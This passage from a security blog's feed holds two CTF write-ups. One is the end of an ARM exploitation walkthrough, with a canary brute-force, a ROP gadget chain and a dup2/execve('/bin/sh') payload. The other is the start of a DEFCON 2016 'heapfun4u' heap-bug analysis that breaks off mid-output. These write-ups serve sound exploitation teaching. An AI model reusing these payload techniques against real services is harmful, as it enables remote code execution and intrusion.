&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x76f5df08-0x76f5df0f&lt;&#x2F;span&gt;&lt;span&gt; →  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So we have &lt;code&gt;execve_addr = libc_base + 0x9bf80&lt;&#x2F;code&gt; and also `binsh_str = libc_base&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;0x119f08&lt;code&gt;. We can build the call &lt;&#x2F;code&gt;execve(‘&#x2F;bin&#x2F;sh’, 0, 0)`.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;leaking-the-canary&quot;&gt;Leaking the canary&lt;&#x2F;h3&gt;
&lt;p&gt;Last thing we need to build a full exploit is a way to leak&#x2F;brute-force the
canary.&lt;&#x2F;p&gt;
&lt;p&gt;In the pseudo-code earlier, we found that the &lt;code&gt;main&lt;&#x2F;code&gt; process was calling a
function that we named &lt;code&gt;treat_requests()&lt;&#x2F;code&gt;. IDA shows us that this function is
actually a loop to process one or more valid HTTP requests on the same socket.&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;2DnSsUl.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;2DnSsUl.png&quot;

    

    
    title=&quot;ida-screen-treat-requests&quot;
    alt=&quot;ida-screen-treat-requests&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Which looks something like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;  retcode = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;process_http_request&lt;&#x2F;span&gt;&lt;span&gt;(fd);
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(retcode &amp;lt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;break&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This gives us a perfect way to leak the canary:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;try to brute-force byte 0 of the canary, and then send another valid
(dummy) HTTP request.&lt;&#x2F;li&gt;
&lt;li&gt;if the byte tested is incorrect (i.e. different from the canary), the
process will die, closing the socket, that we can detect on our end by an
EOFError.&lt;&#x2F;li&gt;
&lt;li&gt;otherwise, the byte 0 is valid, proceed with byte 1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Iterating using this method for the 4 bytes allows us to leak the canary:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt; $ py exploit.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[*]&lt;&#x2F;span&gt;&lt;span&gt; Leaking canary
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid byte &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid byte &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;e6&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid byte &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;74&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Found&lt;&#x2F;span&gt;&lt;span&gt; valid byte &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;60&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary&lt;&#x2F;span&gt;&lt;span&gt; is 0x6074e600
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;building-the-rop-sequence&quot;&gt;Building the ROP sequence&lt;&#x2F;h3&gt;
&lt;p&gt;Almost there! We have bypassed ASLR, PIC, NX and SSP. In x86, we would be just
done. ARM however uses one register (saved on stack) to save the return address
(called the Link Register) along with all the non-volatile registers that must
be preserved across functions calls.&lt;&#x2F;p&gt;
&lt;p&gt;IDA shows that the &lt;code&gt;parse_request()&lt;&#x2F;code&gt; function finishes its execution by
restoring the context of the calling function:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;.text:000016D0 loc_16D0
&lt;&#x2F;span&gt;&lt;span&gt;.text:000016D0 ADD     SP, SP, #0xC
&lt;&#x2F;span&gt;&lt;span&gt;.text:000016D4 ADD     SP, SP, #0x1000
&lt;&#x2F;span&gt;&lt;span&gt;.text:000016D8 LDMFD   SP!, {R4-R11,PC}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As we can see $pc is restored from the stack right after some registers. Since
everything is in the stack on which we have total control over, when we
call &lt;code&gt;execve()&lt;&#x2F;code&gt;, the execution flow would expected that the pointer to our
string to execute be in $r0 as per ARM calling convention. So we need an extra
gadgets to pop the &lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt; address directly into $r0. &lt;code&gt;gef&lt;&#x2F;code&gt; module &lt;code&gt;ropgadget&lt;&#x2F;code&gt;
will work perfectly for this. Finding suitable gadgets is a little harder on ARM
than x86 as you find hardly instructions to pop directly into your argument
registers (for example &lt;code&gt;pop{r0}&lt;&#x2F;code&gt;, or &lt;code&gt;pop{r1}&lt;&#x2F;code&gt;) So you’ll need to chain them
adequately, bearing in mind which registers will be affected the gadgets (for
example &lt;code&gt;blx&lt;&#x2F;code&gt; will also affect the Link Register which may be indesirable).
Building the ROP sequence for this binary is not hard, so I built a helper
function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;rop_call&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;func&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;arg1&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;arg2&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;arg3&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;     p = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(exe+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0c80&lt;&#x2F;span&gt;&lt;span&gt;)      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop {r3, pc}
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(exe+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x0c80&lt;&#x2F;span&gt;&lt;span&gt;)      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop {r3, pc}
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(exe+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x16d8&lt;&#x2F;span&gt;&lt;span&gt;)      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# ldmfd sp!, {r4-r11,pc}
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r4
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r5
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(arg1)            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r6
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(arg2)            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r7
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(arg3)            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r8
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r9
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r10
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;               &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# r11
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(exe+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1abc&lt;&#x2F;span&gt;&lt;span&gt;)      &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# mov r0, r6 ; mov r1, r7 ; mov r2, r8 ; add r4, r4, #1 ; blx r3
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(func)
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(libc+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x71bc4&lt;&#x2F;span&gt;&lt;span&gt;)    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop {lr} ; bx r3
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;p32&lt;&#x2F;span&gt;&lt;span&gt;(libc+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xdd474&lt;&#x2F;span&gt;&lt;span&gt;)    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;# pop {r4, pc}
&lt;&#x2F;span&gt;&lt;span&gt;     p+= &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;AAAA&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;p
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which makes the final payload quite clear:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;saved_regs  = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;BBBB&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;9
&lt;&#x2F;span&gt;&lt;span&gt;payload = &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;A&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4042 &lt;&#x2F;span&gt;&lt;span&gt;+ canary + saved_regs
&lt;&#x2F;span&gt;&lt;span&gt;payload+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rop_call&lt;&#x2F;span&gt;&lt;span&gt;(dup2, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;payload+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rop_call&lt;&#x2F;span&gt;&lt;span&gt;(dup2, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;payload+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rop_call&lt;&#x2F;span&gt;&lt;span&gt;(dup2, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;payload+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rop_call&lt;&#x2F;span&gt;&lt;span&gt;(execve, binsh, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;You may notice that I also call &lt;code&gt;dup2()&lt;&#x2F;code&gt; thrice to redirect stdin&#x2F;stdout&#x2F;stderr
directly to the socket (which presumably holds the file description #4).&lt;&#x2F;p&gt;
&lt;p&gt;Now run it, enjoy the shell and a good coffee ☕&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;uzlxQx8.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;uzlxQx8.png&quot;

    

    
    title=&quot;armpwn&quot;
    alt=&quot;armpwn&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;The complete exploit code can be found
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;45d1c23f33f09126fe0838c1fe057687&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;final-notes&quot;&gt;Final notes&lt;&#x2F;h1&gt;
&lt;p&gt;Thanks to &lt;a class=&quot;fab fa-twitter&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;5aelo&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;@5aelo&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
 for this fun
challenge. It is a good way to get acquainted with
ARM exploitation, and is one of the reason why I build
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;gef.git&quot;&gt;&lt;code&gt;gef&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; in a first
place, i.e. having a good exploitation environment over &lt;code&gt;gdb&lt;&#x2F;code&gt; on any
architecture it is supporting.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DEFCON CTF 2016 - heapfun4u</title>
        <published>2016-05-24T00:00:00+00:00</published>
        <updated>2016-05-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2016-05-24-defcon-ctf-2016-heapfun4u/"/>
        <id>https://blahcat.github.io/2016-05-24-defcon-ctf-2016-heapfun4u/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2016-05-24-defcon-ctf-2016-heapfun4u/">&lt;h3 id=&quot;info&quot;&gt;Info&lt;&#x2F;h3&gt;
&lt;p&gt;The vulnerable file was given with the following instructions:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;Guess what, it is a heap bug
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So yes, we’ll be dealing with some heap fun.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  !file .&#x2F;heapfun4u
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;.&#x2F;heapfun4u:&lt;&#x2F;span&gt;&lt;span&gt; ELF 64-bit LSB executable, x86-64, version 1 (SYSV)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; dynamically linked, interpreter &#x2F;lib64&#x2F;ld-linux-x86-64.so.2, for GNU&#x2F;Linux 2.6.24, BuildID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;sha1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;=b019e6cbed93d55ebef500e8c4dec79ce592fa42, stripped
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  checksec
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[+]&lt;&#x2F;span&gt;&lt;span&gt; checksec for &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;&#x2F;home&#x2F;vagrant&#x2F;heapfun4u&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Canary:&lt;&#x2F;span&gt;&lt;span&gt;                                           No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NX&lt;&#x2F;span&gt;&lt;span&gt; Support:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PIE&lt;&#x2F;span&gt;&lt;span&gt; Support:                                      No
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;No&lt;&#x2F;span&gt;&lt;span&gt; RPATH:                                         Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;No&lt;&#x2F;span&gt;&lt;span&gt; RUNPATH:                                       Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Partial&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                    Yes
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Full&lt;&#x2F;span&gt;&lt;span&gt; RelRO:                                       No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;heapfun4u&lt;&#x2F;code&gt; is a tool that manages its own heap allocator to allocate and free
buffers. On top of those actions, another command allows to write directly into
one of those buffers. The last command is a helper to leak an address in the
stack:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gef➤&lt;&#x2F;span&gt;&lt;span&gt;  c
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Continuing.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[A]llocate&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[F]ree&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[W]rite&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[N]ice&lt;&#x2F;span&gt;&lt;span&gt; guy
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[E]xit
&lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;N
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Here&lt;&#x2F;span&gt;&lt;span&gt; you go: 0x7fffffffe16c
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;&#x2F;h3&gt;
&lt;p&gt;Allocating N bytes will:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;lookup in the free list (0x602558) for a free buffer of a bigger size. If
not found:&lt;&#x2F;li&gt;
&lt;li&gt;create a buffer with the following structure:&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span&gt; __buffer {
&lt;&#x2F;span&gt;&lt;span&gt;    qword size;
&lt;&#x2F;span&gt;&lt;span&gt;    void data&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;N_rounded_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;add a pointer to &lt;code&gt;struct __buffer-&amp;gt;data&lt;&#x2F;code&gt; in an array at 0x6020A0 (in
.bss)&lt;&#x2F;li&gt;
&lt;li&gt;store the size (N) of this buffer in an array at 0x6023C0&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;There are many vulnerabilities in &lt;code&gt;heapfun4u&lt;&#x2F;code&gt; but an interesting one, is the
fact that when allocating a new buffer, the tool fails to check the size of the
new buffer to create. This means that we can provide negative-sized buffer:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[A]llocate&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[F]ree&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[W]rite&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[N]ice&lt;&#x2F;span&gt;&lt;span&gt; guy
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[E]xit
&lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;A
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;Size: -1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[A]llocate&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[F]ree&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[W]rite&lt;&#x2F;span&gt;&lt;span&gt; Buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[N]ice&lt;&#x2F;span&gt;&lt;span&gt; guy
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;[E]xit
&lt;&#x2F;span&gt;&lt;span&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;W
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;0x7ffff7ff4008&lt;&#x2F;span&gt;&lt;span&gt; -- -1
